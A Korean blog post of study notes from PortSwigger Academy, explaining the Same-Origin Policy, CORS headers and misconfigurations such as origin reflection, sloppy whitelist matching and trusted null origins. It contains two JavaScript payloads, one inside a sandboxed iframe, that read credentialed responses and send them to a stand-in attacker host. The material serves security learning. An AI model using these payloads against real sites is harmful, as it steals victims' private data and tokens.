포스트

CORS (PortSwigger Academy) - 개념과 기본 취약점 (Part 1)

CORS의 기본 개념과 Same-Origin Policy, 그리고 잘못된 CORS 설정으로 발생하는 대표적인 취약점 정리

CORS (PortSwigger Academy) - 개념과 기본 취약점 (Part 1)

CORS - 개념과 기본 취약점

웹 애플리케이션은 종종 다른 도메인에 있는 리소스와 통신해야 한다.

예를 들면 이런 경우다.

  • 프론트엔드와 API 서버가 서로 다른 도메인에 있음
  • 서브도메인 간 데이터 요청이 필요함
  • 외부 서비스와 연동해야 함

브라우저는 이런 요청을 아무렇게나 허용하지 않는다.
기본적으로는 Same-Origin Policy (SOP) 라는 규칙을 통해 제한한다.

하지만 실제 서비스에서는 다른 출처와의 통신이 필요한 경우가 많다.
이때 브라우저가 제한을 일부 완화할 수 있도록 만든 메커니즘이 CORS (Cross-Origin Resource Sharing) 다.

이번 글에서는 CORS가 어떤 개념인지, 그리고 설정이 느슨할 때 어떤 취약점이 생기는지 먼저 정리해본다.


Same-Origin Policy

Same-Origin Policy는 브라우저 보안 모델의 핵심 규칙 중 하나다.

간단히 말하면, 한 origin에서 실행된 스크립트는 다른 origin의 응답 데이터를 자유롭게 읽을 수 없다는 규칙이다.

여기서 origin은 scheme, host, port, 세 요소의 조합이다..

예를 들어 아래 두 주소는 host가 다르기 때문에 서로 다른 origin이다.

1
2
https://example.com
https://api.example.com

브라우저는 다른 origin으로의 요청 자체를 완전히 막는 것이 아니라,
그 응답을 JavaScript가 마음대로 읽지 못하게 제한한다.

이 정책이 없다면 악성 사이트가 피해자의 브라우저를 이용해 다른 사이트로 요청을 보내고,
그 응답에 담긴 개인정보나 토큰을 그대로 훔칠 수 있다.


CORS (Cross-origin resource sharing)

CORS는 Same-Origin Policy를 없애는 기능이 아니라,
서버가 신뢰하는 출처에 한해 응답 접근을 허용하는 방식이다.

브라우저는 cross-origin 요청을 보낼 때 Origin 헤더를 함께 보낼 수 있고,
서버는 응답에서 어떤 출처를 허용할지 명시한다.

대표적으로 자주 보이는 헤더는 다음 정도다.

1
2
3
Origin
Access-Control-Allow-Origin
Access-Control-Allow-Credentials

예를 들어 브라우저가 아래처럼 요청을 보냈다고 해보자.

1
2
3
GET /api/userdata HTTP/1.1
Host: vulnerable-website.com
Origin: https://trusted-website.com

서버가 다음과 같이 응답하면

1
Access-Control-Allow-Origin: https://trusted-website.com

브라우저는 trusted-website.com 에서 해당 응답을 읽는 것을 허용한다.

문제는 이 정책이 너무 느슨하거나 잘못 구현되었을 때다.
실제 취약점은 대부분 여기서 나온다.


CORS 설정 문제로 발생하는 취약점

현대 웹사이트는 서브도메인, 외부 서비스, 제휴 도메인과 통신하는 경우가 많다.
그래서 CORS를 넓게 열어두는 경우가 적지 않다.

그 과정에서 실수가 생길 수 있는데, 예시로는

  • 요청 Origin을 그대로 신뢰
  • 허용 도메인 검증을 부정확하게 구현
  • 예외적인 origin 값을 허용
    등이 있다.

이제 대표적인 사례를 하나씩 보자.


Origin reflection 취약점

일부 애플리케이션은 허용할 origin 목록을 엄격하게 관리하지 않고,
요청에 들어온 Origin 값을 그대로 응답에 반영한다.

예를 들어 공격자가 아래 요청을 보낸다.

1
2
3
4
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

서버가 다음과 같이 응답하면 문제가 된다.

1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

이 응답은 malicious-website.com에서 응답 읽기를 허용하며, 쿠키 포함 요청또한 허용 한다는 뜻이다.

이 상태라면 공격자는 자신의 사이트에 악성 스크립트를 올려두고 victim이 방문할 때 까지 기다릴 수 있다.

1
2
3
4
5
6
7
8
9
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
};

피해자가 공격자 사이트를 방문하면 브라우저는 인증 쿠키를 포함해 요청을 보내고,
응답 데이터는 다시 공격자 서버로 전달된다.

응답 안에 API key, CSRF token, 개인정보 같은 값이 들어 있다면 그대로 유출될 수 있다.

개념적으로 설명하기 힘든 부분이 있어 예제와 함께 알아보자.

BurpSuite 예제

Lab: CORS vulnerability with basic origin reflection


Origin whitelist 구현 실수

Origin을 아무거나 허용하지 않고 whitelist를 두는 경우도 많다.
문제는 검증 방식이 허술한 경우다.

실제 서비스에서는 다음 같은 방식이 자주 쓰인다.

  • prefix 비교
  • suffix 비교
  • 정규식 매칭

이 구현이 조금만 어설퍼도 의도하지 않은 도메인이 허용될 수 있다.

예를 들어 시스템이 아래처럼 끝나는 도메인을 허용한다고 해보자.

1
normal-website.com

그런데 검증이 단순 suffix 비교라면 공격자는 이런 도메인을 등록할 수 있다.

1
hackersnormal-website.com

반대로 특정 문자열로 시작하는지만 본다면 이런 경우도 가능하다.

1
normal-website.com.evil-user.net

겉으로 보면 정상 도메인을 잘 제한하는 것처럼 보여도,
실제 구현이 부정확하면 공격자는 whitelist를 우회해 cross-origin 접근 권한을 얻을 수 있다.


null origin 문제

Origin 헤더는 특수하게 null 값을 가질 수 있다.

이 값은 다음 같은 상황에서 나타날 수 있다.

  • sandbox iframe
  • file: 프로토콜
  • 일부 redirect 상황
  • serialized data 기반 요청

일부 애플리케이션은 개발 편의를 위해 null origin을 허용하기도 한다.

예를 들어 아래 요청을 받아서

1
2
3
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: null

다음처럼 응답한다면

1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

공격자는 Origin: null 상황을 인위적으로 만들어 정책을 우회할 수 있다.

대표적으로는 sandbox iframe을 이용한 요청이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

서버가 null origin을 신뢰하면, 이 요청도 정상적인 cross-origin 요청으로 받아들여질 수 있다.
결국 민감한 데이터가 외부 도메인으로 빠져나간다.

BurpSuite 예제

Lab: CORS vulnerability with basic origin reflection


Part 2에서 이어서 볼 내용

CORS 취약점은 단순한 origin reflection에서 끝나지 않는다.

다음 글에서는 아래 내용들을 이어서 정리하도록 하겠다.

  • CORS trust 관계와 XSS
  • 잘못된 CORS 설정이 HTTPS 보호를 무너뜨리는 경우
  • Intranet 환경에서의 CORS 공격
  • CORS 기반 공격 방어 방법

출처: PortSwigger Academy

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.